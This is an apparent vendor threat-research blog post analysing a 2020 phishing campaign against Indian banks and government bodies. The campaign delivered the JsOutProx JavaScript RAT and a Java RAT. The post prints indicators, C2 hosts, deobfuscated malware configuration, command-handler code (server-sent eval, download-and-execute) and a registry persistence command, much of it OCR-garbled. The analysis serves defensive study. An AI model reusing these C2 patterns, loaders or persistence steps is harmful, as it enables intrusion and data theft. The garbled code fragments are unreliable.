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It is not uncommon for cybercriminals to target specific countries or regions. They often employ this strategy

In April 2020, ThreatLabZ observed several instances of targeted attacks on Indian government establishments and the
banking sector. Emails were sent to organisations, such as the Reserve Bank of India (RBI), IDBI Bank, the Department of
Refinance (DOR) within the National Bank for Agriculture and Rural Development (NABARD) in India with archive file

attachments containing JavaScript and Java-based backdoors.

Further analysis of the JavaScript-based backdoor led us to correlate it to the JsOutProx RAT, which was used for the first

time by a threat actor in December 2019 as mentioned by Yoroi.

The Java-based RAT provided functionalities similar to the JavaScript-based backdoor in this attack.

In this blog, we describe in detail the email attack vector of this targeted campaign, the technical analysis of the discovered

backdoors, and our conclusions on this attack.

Email analysis

Below is the email that was sent to the government officials in NABARD, which contained a malicious archive file

attachment.

® Department of Refinance @
KCC Saturation
To: Department of Refinance,

Reply-To: dor@naard.org

Dear sir

Please find the attached on the captioned subject.
regards

Parit Gupta

AM

i v / Department of Refinance
TS / NABARD

WA FHfed / Head Office

fawfr e @ & 1 f@m/ 3rd Floor A & B Wing
151 FeA! Gegpet / Bandra Kurla Complex

2T (9) / Bandra (East)

Ha¢ / Mumbai - 400 051

q .

KCC_Saturation_
letter_t...pdf.zip

Figure 1: Email sent with malicious attachment to NABARD.

The email attachment filename is: KCC_Saturation_letter_to_all_StCBs_RRBs_pdf.zip
This archive contains an HTA file inside it that performs the malicious activities.

The MD5 hash of the HTA file is: 23b32dce9e3a7c1af4534fe9cf7f461e

The theme of the email is related to KCC Saturation, which relates to the Kisan Credit Card scheme and is detailed on the

official website of NABARD.

Attackers leveraged this theme because it is relevant to the Department of Refinance, making this email look more

legitimate.
We used the email headers to trace the origin to hosteam.pl, which is a hosting provider in Poland as shown below:
X-Auth-ID: syeds@rockwellinternationalschool.com

Received: by smtp10.relay.iad3b.emailsrvr.com (Authenticated sender: syeds-AT-rockwellinternationalschool.com) with
ESMTPSA id 0928BE00BD;
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Mon, 20 Apr 2020 21:33:53 -0400 (EDT)
X-Sender-Id: syeds@rockwellinternationalschool.com
Received: from WINDEBOUPGVCUK (unused-31-133-6-113.hosteam.pl [31.133.6.113])
(using TLSv1.2 with cipher DHE-RSA-AES256-GCM-SHA384)
by 0.0.0.0:465 (trex/5.7.12);
Mon, 20 Apr 2020 21:34:40 -0400

The same HTML Application (HTA) file was also sent in an archive attachment to IDBI bank as shown in Figure 2.

litessage) | e cal creuts_parzp

From: rinkal, co.in [rinkal. inl
Sent: Tuesday, April 21, 2020 7:12 AM

To: rinkal.bhavsar@idbi.co.in

Subject: E call money

##+This Emsil Ts From External Sou siso pay strest

Kandly sean the

Rinkal § Maie | RO I

‘Asst Manager | Tressury Front Office

Cantact /T

Figure 2: The email sent with a malicious attachment to IDBI bank.

Based on the email headers and the infrastructure used to send the previous emails, we were able to identify more instances

of these attacks and were able to attribute them to the same threat actor.

Figure 3 shows an email sent to RBI with an archive file that contains a Java-based backdoor.

@ hasita@rbi.org.in <hasita@rmbbi.orgin> & at o
Diform

Madam/sir,
Please find the attached.
A | Regards,

it ffan/ V Hasita
FERTF T | Assistant Manager
RT3 022:23026400- 6231/ EXin. No. 022-23026400-8231

e e it s T T £ Deposit Insurance and Credit Guarantee Corporation
it af=rer I / Insurance Operation Department

Caution: The Reserve Bank of India never sends mails, SMSs or makes calls asking for personal Information such as your bank account details, passwords, etc. It never keeps or offers funds to anyone, Please
do not respond in any manner to such offers, however official or attractive they may look.

Notice: This email and any files transmitted with it are confidential and intended solely for the use of the Individual or entity to whom they are addressed. If you are not the intended recipient, any
dissemination, use, review, distribution, printing or copying ef the information contained in this e-mail message andfor attachments to it are strictly prohibited. If you have received this email by error, please
notify us by retum e-mail or telephone and immediately and permanently delete the message and any attachments, The recipient should check this email and any attachments for the presence of viruses. The
Reserve Bank of India accepts no liability for any damage caused by any virus transmitted by this email

DI_form_HY _file_
00002_pdf .2ip

Figure 3: The email sent with a malicious attachment to RBI.

Figure 4 shows an email that was used to send an archive file with a Java-based backdoor to Agriculture Insurance Company
of India (AIC).
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® osbhp. com <osbhp. com: & 8 April 2020 at 01'55
g dm e i

To: osbihp mancjg@aicofi

ia.com <0sbhp manojg@acofindia.coms
Reply-To: esbhp.mnojg@aicafindia.com

I,

gren g i 5 e afer vt apfi e et vt 202021 st i fpnerar g s 2 vma

e et et s g .
e e, Wi

BT 0755-4026101,102,103

e

Figure 4: The email sent with a malicious attachment to AIC India.

The contents of the email are in the Hindi language.

In both of the cases above, the Java-based backdoor has the same hash and only the filenames used were different.
The hash of the JAR file is: 0ac306c29fde5e710ae5d022d78769f6

Technical analysis of JsOutProx

The MD5 hash of the HTA file is: 23b32dce9e3a7c1af4534fe9cf7f461e

Upon execution, the HTA file displays junk data in a window that flashes quickly on the screen before auto-closing.

This HTA file contains a JavaScript that is executed by mshta as can be seen in the file header in Figure 5.

<huml>

[<HT4: APPLICATION icon="4"

|8 HOW N TAS KE AR= *no® —_— HTA File Header

Titler.asTiie
<meta http-equive'x-ua-compatible' content='le-edge® />

</head>
<body>

<seript (Language="TScript*> ) =9 JavaScript inside the HTA file

var a=[ vITCqiftwdl=',' -

! 1cOKkV YgugeQRg==" , dNOdwShbpu==', ' XcKINGE=" , ' T1vDLW10vpbCacKEwTrColKCwsk=", w6LIwD)Chv==" ,

Figure 5: The HTA header in the file.

There is a long array of encoded strings present at the beginning of the JavaScript as shown in Figure 6.

var a = ['wiTCqiEEwAU', ! KHaQ==", *IcOky

GVSWpDC: qoQEg==', *dHo i TLVDEV10vphCEekE7r CONKCusk=" , * weLDvDIClw==" ,
gHDVSK/ ABTCqRO1 wENDUSCOUSEDrksruas 1XA==", 'wSTCimUuviZiuge=", *HLDDTNKL', 'QeRVDLUP®, ' wSLDJMKeuqgh', ‘w4z J800V3IDPSO+U4p3UC==" , *WELDGEICHER=",

* wORDUNRjaRrCosOcudl=" , *NCOH ! W6DD3w/ DmB1GCHOR! , * PSKewpBCEDE=" , *hcRHTUo=', '80Bhuqk8eTLDKXEDEANDHEOQUUA=', *w63C11BQUTNE' , ' AEXCVMRQFCOMFAECGR==
OSKDFILCIBOE! , * UMONWATDOXIC! CtEKHWSES' , 'uSDCmNOAwSKa', CrQuDECOLDA==" , ' vAXCPCKHETUAPRK=" , ' WMOGUSEDETDCIMNOKUSXCre0Zudl=" , ' QEFUvp!

Jg==*,
', ' AeHOWSECP1B=',
', ! wAUpUPLCICOG! ,
6=KQSITC18OK 4 'CcO0JBOHupk=', 'wrQEQHFE', ‘wpxQTSOQLw:
D0/ CyaR7B=0cGgE=" , | ONRVIMODwEA=', 'WOREULsHuS)DKDHDCROpuoPC=aKIuSHCox D uSDCaCEDAF 1C LIRS upnCpaKewSt4cRLE 1COrReKaZOKT v pi KB Kon kNN TEND: KIEZWSTDINON'
wEVCCRIDNECH , 'u7ITwpd=', 'w4TCmsRO', 'wiHCINKBhisydiw=', 'dBdLEwd=', 'wé/CIKDDINOc', 'SOQZvghi', 'DibDsC0x', 'e03QuofDow==

tUE33JBICKY==", *AWBUHEXDW
HDTCWBOYur/Coio=' , ' wIPCGVTDpEO)

15805U77CSTSD! , * YEO!

BRISGEnUABChY==", 'u4/DqNECWpALYE/DVHO » ' GHEDH
' RNOLUWMRRAQ==', ' wI0mwofCgNO3', 'wi, ' upSIWANCHEOH , ' W53 DmaCrt

woHDpBOLuGgE" , 'w73CaB06wERL' , ' JMR/wpTDVHOYXaKgwSELLL

o Pkl » ‘wphCkhe=', 'QSKwcFUO',
w4 1USBELPO}CIHKRO  2nbw: | PAOVUEZUVOU=' , | HBOWUSZUNGVTUEQLUGEGECKD" , ‘NMKIWeDCRTU=', 'GEO+vSgUvoo=', 'wivChNKpAlN=', 'asOrup7DRUAYVITDiA==', 'wSCbvrsiSk==',
WEPDGEOLURBE® , * AcOi FBgChINaHw ' wpIBbRps’ , 'uEayTaov LEOVWEXDAT=", 'IsKhe3MOwELDpy£Dh=="', 'fcRuC2kfe3)DmsKOWOrCraOx', 'ImVaw?RF’, 'YxpOPQLDAELCHSE/' ,
w6/ CkaO1HBOZ' , *upfCaBEfuéln' , 'TsKuvrI=', 'wrVOeHOLC ! w6YewonDlg==', 'bNKHXHICi8KeNkSrXU4sursi', 'VMODeVhCoAd=', 'KXbDLTIaRMKO', 'FisVugxl!', 'J80ZIzVH',
IRxVHVIDIFZC)HOURG/ChywY', 'XSOBvAHDp3w=', 'cHKgesNLwerDric=', 'YsKFV3Qd!, 'wSXCCFO=', 'QMECTFOR', 'wpTCRScUVQ==', 'TgDDqMOgeNK?', 'LeKVIVaCksOXC3uiRie=',

WO IPVRXGE33CI30ACT: UTPCEEONOST3 VEBDUCATAX/ Ug==" , 'GCRSTAI=', 'eUNewnDDICKTUEY=', 'LTHCtBODUG4=", 'WSHDPNKGUPOLVP7TDlcOweucs', 'JCKbGHORNTIDINOG! ,

* WSHCE 1DDYS01VRO0 ) . ! UpXQTBOOLIBCIOIEATY=" , *fooswe/Doy¥=', ‘wSZDIHPChQ==', 'wWofCqsKew7la', 'eDEDYZ¥b!, 'w72CgalywepowrLDnzd=',
FBOGUS2DKRNDBEECHSOS® , * TVVDAGSF', 'va@0udlCgh==', 'wpOZKDICVCAUNPXDTW==', 'QkhWurA=', 'W7DCORBDUAO)YCOMUAU=', 'WONCIAMOROO=', 'WSTCHeONWG4sWpZDAYSIIg==',
J 450 5AUEEOWE 3D | DG4RF 5K/ vSESTERZOLD i8Ry KBup9 TTcKguSEBSZDDECTCLNRX ', ' wSc:

SRQ==', 'OCCHVIEBWGEaTxJquwoiCosK1uSu=", ' w4iCimQRu7NUNOPDhmrDUBKOXSKCIB0BpId
=1, |880arHCrj0JUBKIVEI=', 'LeOqOC07HD/CausRWPECSIRCYNON' , ' DNO!

W CRGYOREDCrw==" , | THEKHGOS
UPRDOEOZ WEOCQUNI CGRGUIROUT

PCHMKXVpLCEBOE DO WEVDE 13 ChQD DI 2d YEKMNSKEEChC Lo0GTS !

BCQCRIIgNEESOY' , *SBOOWEHCEIOSQEKVWC4r' , 'wqXDrskKl', 'VNK/enUyuscDpQTDISOAUGrCIsKMMSEs', ' WFJewrbDulKKTos',
* DHEcwd3iChyDC1a06' , ' wSkavgk= B3¢ OcHNOSF £ 09 O+waOvwaBE', ' IH7CCOK+ ', ' aNOMwd/Dpw==', '08C ¢
ol YwSnC 16 PROD ugo T wrbCyer twp3CorbCaQrcus DpQicris |, ' PUg2ugEplg==", 'J07Cq:=E SDCgsKL', 'wSLCmcKUeVBneQss', 'wSLCiHIJw?SHug?DvnvDoBKE', !KsOtwldauwgiDTILL!,

wTEXwog=', 'uqHDcFoal

OMS10', | wqNIIKxR',

*Exk gl

+ 'WaVCQEXDONOATEORvES=", | ENOIHGR

e O, ' VAFDEDICPEUTTCOTuSE=! ,

L L/ EcRv 2D 180D VPQTL CaidvYRIDQVLDrw==", 'KRhDLTHGQMKP!, 'ILECGNKOEA==', 'woXChic/Wo==',
DpeK1dOnC: cgu4PDhgpyusizsa0ivpdipIbIneal To urdIvTabajsaveks! , | waTCnRIDEC0/HERS , +HeOSvicuol

JFODATIy' , 'wAcHURRCOS0T', 'FSoDuohy SaFurH7UsKTNa7CaEY=", 'urvDIBRAVAT="', 'woUWPSHCLQ==', =rDi=CBDEKITue:

wE7C1GUYWT 1 Tugzbid4=", 'BeOIFNOTura=", 'wILhgOzCmkA=', *p tur/DvB03 wrvTSuEd o 'WHCn2/DvEOp', 'LxPCraOSugA=',

‘LELDRXQT', ' GE/CicKqINOIEWH=',
ut, 1P OVwol=" .
zCacORwo3Cmng=", ' DaK3J3jCmu==',

2

Figure 6: A long array of encoded strings.

This array of strings will be referenced throughout the JavaScript. They are base64 decoded and RC4 decrypted at runtime at
the time of execution.

JavaScript code in this HTA file is heavily obfuscated as shown in Figure 7.
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C¥D1Q)1H) ) {zetuIn WSCriptb{ Ox55’, " T1fn’ )]} pcater(c3) {3} OB Ox5e ', 27 e’ ) =function] ) {var cd={} ;ca[b( 0% s =b{ ' OxSe’ , ) IEPp{AE(BCIB( 05T,
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Figure 7: The heavily obfuscated JavaScript code.

The string decoding and decryption routines are shown in Figure 8.

[ charit'}(o++); ~n &6 (m= L & Oxd4 ? m & Ox40 + n : n, L&+ & Oxd) ? p += String[ fromCharCode'](Oxff & m

for (var L= 0x0, m, n, 0= 0x0, p= '';
i 5> (-0%2 * 1 & Ux6}) 3
I E

l
zetum p:

function(r, d) {

v=0.
u = 0x0,
v, =,
X m iz

© = atob(r):
for (var y = 0x0, z = £['L
X = %+ (100" w £

Bl v <oz o
ekt '] (gh [ coString'1(0x10)}['slice' J(-0x2):

© = decodeURIComponent{x)
Zor (var A = 0x0: A < Ox100: A++) {
TIA] = As

for (L = Ox0: & < OX1003 M+4) {
W= (u+ t[A] + d[ charCodeir'J(A ® d['lengtn'])) ® 0x100:
v o= [a]:
t[A] = t[ul:
tpu] = v

= ox0:
- 0x0;
for (var B = 0x0; B < £’
A = (k+ Ox1) & Ox100:
U= (u+ t[A]) ® 0x100:
v o= o[A):

tIA) =t :

T[] = v

v 4= String['fronCha

gth']: B+ €

} 4 t@(t[i] + T{u]) & 0x100]):

retum u:

b
B 1
BI'LoPOIE'] = ()2
Bl @ o

Figure 8: The string decoding and decryption routines.
After analyzing the string decryption routine, we can see that RC4 algorithm was used.
The process of string decryption can be summarized in the following steps:

1. The string decryption routines are invoked with calls such as: b(‘0x4’, ‘qP52’). The first parameter is the index of the
encoded string in the long array declared at the beginning of the JavaScript. The second parameter is the RC4

decryption key.
2. The string is base64 decoded using atob() JavaScript function.
3. An S-box is generated using a for loop to generate the sequence: 0x0 to 0x100.

4. S-box is permutated using the decryption key.
5. The permutated S-box is used to perform XOR decryption of the encrypted string.

After decrypting all the strings in this JavaScript, we can see the main configuration as shown in Figure 9.

window["resi "]1{0x0, OxD0);
window["moveTo"](screen["availWidth"] * 0x2, screen["availHeight"] * 0x2):

var bC = {}:

bC['Fs'] = new ActiveXObject(”Scripting.FileSystemObject”):

bC["Ush"] = mew ActiveXObject{"WScript.3hell"):;

BC['Sh'] = pew ActiveXObjeet("Shell.ipplication”) :

bC["BaselUrl"™] = "http://backiassadra.ddns.net:8999/";

bC["StartDate”] = new Date():

bC["AllStartupDbic®] = bC["Wsh"] ["SpecialFolders”]{"allusersstarcup”)) + 'Vx5c';
bC["Startupbir”] = bC["Wsh"] ["specialFolders"]{"startup”)) + 'yx5c':
bC["AppData”™] = bC["Wsh"] ["ExpandEnvirommentStrings"] {"sappdatas")) + '\)(5:‘;
bC["Temp”] = bC["Wsh"] ["ExpandEnvironmentStrings"]("stemps™)) + '
bC["InstallDir”] = bC["ippData”];

bC["InstallPath”] = '':

bC["Delimiter”] = "_|_"};

bC["SleepTime"] = 0x2710:

bC["Delay™] = Ox2710;

bC["Tag"] = "Vaster":

BC['ID'] = '';

bBC["IDPrefix™] = " giks=";

BC["RunSunkey”] = "HKCU\softwareimicrosoftiwindows\currentversion'run'”;

\x5e!
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Figure 9: The main configuration file of the JsOutProx backdoor.
Some of the critical parameters in the above config file are:

1. BaseURL: This is the C2 communication URL. In this case, it makes use of Dynamic DNS (*.ddns.net) and a non-
standard port.

Delimiter: This is the delimiter that will be used while exfiltrating information about the system.

SleepTime: The duration for which the execution needs to be delayed.

Delay: Similar to the SleepTime parameter.

ook~ W

Tag: This is a unique indicator that is appended to the data during exfiltration. In this case the tag is: Vaster. The first

time this JavaScript based backdoor was discovered in December 2019, the value of this tag was: JsOutProx.

o

IDPrefix: This parameter corresponds to the Cookie name that will be set in the HTTP POST request sent by the

backdoor to the C2 server at the time of initialization.

~

. RunSubKey: This is the Windows Registry Key that will be used for persistence on the machine.

The script checks whether it is being executed by mshta, wscript or by an ASP Server as shown in Figure 10.

/¢ check if the script is being executed as an HTA file

/¢ if pypenf window '= "undefined” then it is an HTA
I 'isHT} Function() {
var bL i}:
| BL["IFPZd"] = fumrction(bM, bN) {
return bH == bN:
¥
bL["PRrod"] = "undefined";

return bL["IRPZId"]( typeof window, bL["FRrod”]):

| bO["PHERI"] = function(bP, bQ) {
return bP l== hQ;

}:
return bO["PHELI"]{ typeof UScript, "undefinsd")}:
R

{ Check if Script is being executed by an ASP server
= Ffunction() {

np”] = function{b3, bT) {
return b3 == bT;

}:
bR["ANwIk"] =

"undefined") ;
p"1{ typeof Server, bR["ilw.

return bR['

Figure 10: Checks for source of execution.

This also indicates that the script has the capability to execute in different environments, including web servers. The first
instance of JsOutProx discovered in December 2019 was a JavaScript file. The instance we discovered in April 2020 was an
HTA file with the JavaScript code obfuscated and embedded inside. So we are observing this threat actor deploy the

backdoor using different methods in the wild.

The script also has the ability to delay execution as shown in Figure 11.
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// Delay execution by 10 seconds if the file is not present
|bC["waitFor"] = fanction{bl, bV) {
var bW = {}:
bU["V1UKL"] = "undefined";
bV = typeof bV === bU["VIUKL"] ? Ox2710 : bV:
var bX = new Date() ["getTin="]1{) + bV:
while {1bC["File"]["fileExista"]{bU)) {

if (mew Date() ["getTim="1() > bZ) {

break:;

}:
// Sleep for bY seconds
|bC["=leep"] = furction(b¥) {
var bZ = new Date() ["getTime"]1() ;
while (new Date() ["gecTime"]{) < bZI + b¥):
¥z

// Delay execution by c0 seconds

|[bC["=leepEx"] = Ffurction(cO) {

} else {
if ("auZuy") I== cl["ZmkCR"]) {
bC["sleep”™] (c0) ;
} else {

returm 1[]:

By
Figure 11: Delaying execution.

The init() routine is the initialization routine, which gathers different types of information from the system and sends it in an

HTTP POST request to the C2 server as shown in Figure 12.

Zunction(cT) {

SU[ENpHE] = functiom{eV, c¥) {
retum oV + oW

CU[MHeoET] = functiom{eX, c¥) {
retwm oX + oT;

CU[TUrses"] = functiom(c, dO) {
retwm o2 + d0;

tmiter”] + BCL"gerTuid™1{), BCI"Delimitez”])
) + bC['0=')

14 + BCLD
"] + bCI' 0= J["caption”]{}, BCI"Peli

{BCL' 0] ["Voluw
we"1(}) + BC["D

"1
"I (BCI"S LeepTime"T} ;

bC["s1

Figure 12: The main initialization routine.
The individual fields collected during init() routine are:

Volume serial number: Fetches the volume serial number using WMI query: “select * from win32_logicaldisk” by

inspecting the volumeSerialNumber field.

UUID: This is randomly generated using the getUUID function in the script. The format of the UUID used is: XXXXXXXX-

XXXX-4XXX-yXXX-XXXXXXXXXXXX
ComputerName: Host name of the machine.
UserName: User name of the machine on which this script is executing.

OS caption: This value is fetched using the WMI query: “select * from win32_operatingsystem” by inspecting the Caption
field.

OS version: This information is also gathered using WMI query similar to OS caption.
Tag: This is the tag defined in the configuration of the backdoor. In our case, the tag is Vaster.
The last keyword is “ping,” which is added by the receive() method.

All these values are separated by the delimiter “_|_” and concatenated, then hex encoded and set in the Cookie header called

“_giks” of the HTTP POST request sent to the C2 server as shown in Figure 13.
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Initializing the listener for JSOutProx
Author: Sudeep Singh
tarting up on 127.8.8.1 port 8999
paiting for a connection
onnection from ('127.8.8.1°, 1736)
received "POST ~/ HITP-1.1

i ion/

e 617374 25£7cSE [ )

ser—Agent: Mozilla 5.8 (Windows NI 18.8; Wint4; x64> ApplelebKitr537.36 (KHTHML,
like Gecko> Chrome-/88.8.3987.87 Safaris537.36
Accept: »*/%
Accept—Encoding: gzip, deflate
ontent—Length:

backjaadra.ddns.net:8999
onnection: Keep—Alive

Figure 13: First HTTP POST request sent to the C2 server.

The command and control communication between the backdoor and the C2 server is synchronized using the Cookie in the

HTTP request and responses.
The last field in the cookie indicates the type of client command.
For example, if the cookie is:

Cookie:
_giks=46464646464646465{7c5f65363261396233322d323434352d346166612d393233622d3836653530306530363665655{7c5f486{73746e616d655f7¢

Then the client command can be identified as:

1. Hex decode the cookie to get: FFFFFFFF_|_e62a9b32-2445-4afa-923b-
86e500e066ee_|_Hostname_|_Administrator_|_OS_Name_|_Version_|_Vaster_|_ping

2. Split the decoded content using the delimiter: “_|_” to get: [[FFFFFFFF', 'e62a9b32-2445-4afa-923b-86e500e066ee’,
'Hostname', 'Administrator', 'OS_Name', 'Version', 'Vaster', 'ping']

3. Extract the last field from the above list. In this case the command is: ping.

Figure 14 shows the main subroutine in the code that handles all the commands.

try {
var cP = bC["Http"] ["se 1(cO[" >g"] , » 1)
switch (cP[0:
case "ur

var cQ = bC['Fs'] ["OpenTextFile"] (bC["scriptFullNan e"]{), 0x2, I[]):
<Rl e"] (cP[0x1]):
cQ["close™] () 2
bC["1=z "1 (bC["scriptFullName"] (})
bC["exit"] ()
break;

case "rs
BC"2 "1 (eC[” FullName"] (})
bC["exit"] () :
break;

case
bC["lau "] (bC[" iptFullName"]{}, !1[]):
break;

case "
bC["exit"]():
break:

case
BC[
break;

case "s
BC[
break:

case "I
bC["Wsh"] ["run”] (cO["JogHZ"], 0x0, 1![]):
break:;

- 1

£"), 0x0, 1[1);

case eJ :
eval (cP[0x1]) ;
break;

case

var cR = new ActiveXObject("S L t B B
cR["AllowUI"] = t1[];

cR["La age"] = BS
cR["Timeout™] =
cR["A e"] (cP[0x

Figure 14: The C2 command handler subroutine in JsOutProx.

The description of the commands are included in the table below.

Command Description
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upd Download and execute the script.

rst Re-launch the script.

132 Similar to rst command.

den Exit the execution.

bt Reboot the system.

shd Shutdown the system.

Igf Shutdown the system.

ejs Use eval() to execute the JavaScript sent by server.
evb Use ActiveXObject to execute the VBScript sent by server.
uis Uninstall the backdoor.

ins Install the backdoor.

fi Invokes the File Plugin.

do Invokes the Download Plugin.

sp Invokes the ScreenPShellPlugin.

cn Invokes the ShellPlugin.

Technical analysis of the Java-based backdoor

The MD5 hash of the JAR file is: 0ac306c29fde5e710ae5d022d78769f6

The JAR file is heavily obfuscated in this case. The structure of the JAR file is shown in Figure 15.
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@i rabi_2020_06-00230109_pdf ar 11 ‘

B8 METATE = -
[ roaresr o | MFEST I 5
BB com.ocvbftyd.nvhaikidkficv.rereid I mManifest-version: 1.0
i) IORSystemExceptonsl.cess 2 main-Class: gom.ocvbftyd.nvheduk.lakficy.rereid, iidiiiiiii
-y rRsymerexcepten dess 3

[ g NamingS ystemExcepton$ 1. class. L

1 ChyectsieanCassut_1_3s2.dass
ﬁ CbjectStraamOassUtl_1_3§3.dass

3 CbjectStreamClassUt_1_3¢CompareClassByName. dass
o osc o

o 1.
i) ChjectStreamClasstiti_i_38MethodSignature dass
ChjectSir

) ObjectStreamOisss._1_3_1CompareClass8yflame. dass

13
; CbyectStreamClass_L_3_i$MethadSignature.dess
s

:
é

j._r, Cojectviriter. dass

by PORS sremEcestons1 dass
| RepldDesegator dass.

ﬁ RepositoryldFactory.dass
43 Repositoryldinterface.class

4y UsiSysenExcetons1. s
. dass

(CFadMoofbd ) ——————— AES Encrypled Resource

S EPEFPIESOERPIIRE O ERFREOODEEE
5 e e

Figure 15: The JAR file structure.
There is an AES-encrypted resource present in this JAR file with the name: “jkgdlfhggf.bvl”.
This resource will be loaded and decrypted at runtime as shown in Figure 16.

public static void main(Stringl] stzarz) {
try {

String str = new String("
byte[] bytes = new(3tring

String sb = new StringBuilder().imsert({J, System.getenv("sppdata”)).append(File.separator).append (new StringBuildez ().insert (0, str).
append (new String(".jar")).tostring()) .tostring() ;
Clasa<iiiiiiiiii> els = iiiiiiiiii.clasa;

b = cls.. (new stri ilder().insert (0, "/").append(cls.getPackage() .getName().replace(".",
) .append("/") .append (str2) .tostring()) ;
Cipher instance = Cipher.getInstance("AEs/
instance.init(Z, new SecretKeySpec(bytes, "AES"), new IvParameterdpec(bytes));
Cipher ipher = new CipherT: i ;
mll(str, sb);
Thread.sleep (40000) ;
i £, = new Fil (=b) ;
bytel]l BArr = new bytell
CipherT: h
while (true) (
int read = cipherInputStream2.read(khrr);
if (read <= 0) {
break;

s5Padding™) ;

B — AES Decryption

¥
£ileOutputStream.write(bhrz, 0, read);
ipher = cipher:

¥

£ileGutputStream.close() ;

cipherInputStream.closs () ; 1
Thread.sleep (40000) ;

Figure 16: The Stage 1 resource decryption routine.

This resource gets decrypted to another JAR file, which will be dropped in the %appdata% directory on the machine with
the name jhkgdldsgf.jar

The dropped JAR file contains all the functionality for this Java-based backdoor. Figure 17 shows the main structure of the
JAR file.

i kgddsgfijar

S i rETATE - || B maaeesT e 2
B L :
= comofgtryh.murbhy lasoxerd.nmghy L Manifest-version: 1.8

2 Main-Class:
3
N

——————> Obluscated Class Filgs

HEEEEE|FEE e R e

fa) IORSystemExceptons . dass
lih ICRSystemEsception.class
luj IR class:

dass
fuj NamingSystemException$ . dass
dass

b

fnh MumberEditor,dass

luj OMGSystemException§ 1. dass.
lub ORBUBSystemException$1. dass &
fuj POASystemExceptons 1. dass

1} POAS ystemExcepton,class

PEESAEESEEEAEEEEEEeeeEEE
i
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Figure 17: The JAR file structure of the Java-based backdoor.

All the strings in this JAR file are obfuscated by an obfuscator called Allatori. The string decryption routine is as shown in

Figure 18.
public static String 50(String string) {
int n:
StackTraceElemsnt stackTraceElemsnt = new CL ion() ke Ol
String string2 = new StringBuffer(stackTraceElement.getClassName()) .append ( lement. () -tostring() ;

int n2 = string.length();
int n3 = n2 - 1;
char[] arrc = new charl[a2];
int nd4 = 4 << 3;
in

ofr_ignored 0 = 5 <<
int nS = 4 << 4 A (2 4 5);

425y

int né = n = string2.length() -
String string3 = string2;
while (a3 >= 0) {

int n7 = n3

arre[n7] = (char) (nS * (string.charAt(n7) * string3.charat(n)));:

if (n3 < 0) break;

int né = n3--;

char ¢ = arrc[n8] = (char) (nd4 * (string.charAt(n8) * string3.charAt(n)));

if (--n < 0) { 1
n = né;

]

int n9 = n3;

1

return new String(arrc);

Figure 18: The string decryption routine.

We described this string decryption routine in more details in an earlier blog, which also includes the Python implementation

of the decryption routine.
The JAR file connects to the C&C server: scndppe.ddns.net at port 9050.

This Java-based backdoor is modular in structure and contains several plugins. Figure 19 shows the main network controller

code that handles the C&C communication and dispatches the commands to corresponding plugins for further processing.

public static void S50(String string2, Stringl] arrstring, iiiiiiiiii 11 iiiiiiiiii 112) {
try {
String string2;
String string3 = string2;
Stringl[] ! = arrstring;

iiiiiiiiii 11 1

if ((string3.startsWith("s=c"))){

TIIIITTIIT 50 (string?, arrstring, iiiiiiiiii_112);
return;

}
if ((stxing2.startswith("aut"))) {
String[] arrstring2

new String[2];
arrstring2[0] = iiiiiiiiii 13.11();
arrstring2(1] = iiiiiiiiii_13.51;
arrstring2[2] = iiiiiiiiii 13.5;

iiiiiiiiii_112.50(stzring2, arrstring2);
return;

}

8tring string4 = string2;

if ((string2.startsWith("cm”))) {
1131113311 4 .50 (string4d, arrstring, iiiiiiidiii 112);
return;

b
if ((strxing4.startsWith("dn"))) {
IIIIIITT95 16 II113I3335 162 = new iiiiiiiiii 16(stringd, 1732, 1733);

return;

}
if ((string2.startsWith ("fn"))) {

return;
}

String string5 = string2;
Figure 19: The network controller command handler.

The controller receives the command along with an array of strings that represent the parameters for the corresponding

command.

Each of the C&C commands are used to invoke a plugin that executes the command sent by the server.

Command Invoked Plugin
sc Screen plugin.
aut Log plugin.

cm Command plugin.
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dn Downloader plugin.

fm Filemanager plugin.

st Startup plugin.

In.t Base plugin to exit execution.
In.rst Base plugin to restart execution.

Now, we will describe two main plugins in this Java-based backdoor and the commands processed by them.

Filemanager plugin: This plugin is responsible for managing all the file system related actions which can be performed by

the attacker remotely. The plugin supports multiple commands and the summary is in the table below.

Plugin Purpose

command

Fm.dv Get list of system drives (including CD drive.)

Fm.get Get list of files and folders in a directory.

Fm.nd Create a new directory.

Fm.e Execute a command using Runtime.getRuntime().exec()

Fm.es Start a new system shell based on the type of OS.

Fm.cp Copy contents of one file to another.

Fm.chm Change the permissions of a file using chmod command (only for Linux and Mac).

Fm.mv Move a file from one location to another.

Fm.del Delete a file.

Fm.ren Rename a file.

Fm.chmod Similar to chm command.

Fm.down Download a file from the system. Contents of the file are Gzip compressed and Base64 encoded
before downloading.

Foap Upload a file to the system. Contents of the file Gzip decompressed and Base64 decoded before

dropping on the file system.
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Screen Plugin: This plugin uses the java.Awt.Robot class to perform all the mouse and keyboard simulations on the

machine as well as to take screen captures. The commands for this plugin are detailed in the table below.

Plugin Command Purpose

sc.op Fetch the screen size width and height information.

sc.ck Simulate mouse actions like double click, scroll up and scroll down.
sc.mv Move the mouse cursor to specified co-ordinates.

sc.cap Take a screen capture.

sc.ky Send keystrokes to the machine.

Persistence: To ensure that this JAR file is executed automatically when the system reboots, a Window run registry key is

created as shown below:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v jhkgdldsgf /d \'C:\Program
Files\Java\jre1.8.0_131\bin\javaw.exe\' -jar \'C:\Users\user\AppData\Roaming\jhkgdldsgf.jar\" /f

Cloud Sandbox detection

Figure 20 shows the Zscaler Cloud Sandbox successfully detecting the Java-based backdoor.

@>zscaler Cloud Sandbox @
SANDBOX DETAIL REPORT ®HighRsk  * Moderate Risk  * Law ik a
Report ID (MDS): 0AG306G29FDESE710AESD022D78769F6 Analysis Performed: 27/04/2020 14:03:04 File Type: Java ARchive files analysis

GLASSIFIGATION VIRUS AND MALWARE SECURITY BYPASS 4

Class Type Threat Scare = Sample Sleeps For A Long Time (installer Files Shows

Malicious Thees Propent)

86 Executes Massive Amount Of Sleaps In A Loop

Category No known Malware found

Malware & Botnet I

NETWORKING 3 STEALTH o SPREADING

* Uses Dynamic DNS Services = Creates Autestart Registry Keys To Launch Java

* Detected TCP Or UDP Traffic On Non-standard Ports
Performs DNS Lookups

No suspicious activity detected
URLs Found In Memory Or Binary Data

INFORMATION LEAKAGE EXPLOITING o PERSISTENGE 2

= Runtime Environment Starts Unknown Processes. « Usas Reg.exe To Modify The Windows Registry
* Creates An Autostart Registry Key

. Creates Temporary Files
No suspicious activity detected

Figure 20: The Zscaler Cloud Sandbox detection for this Java-based backdoor.

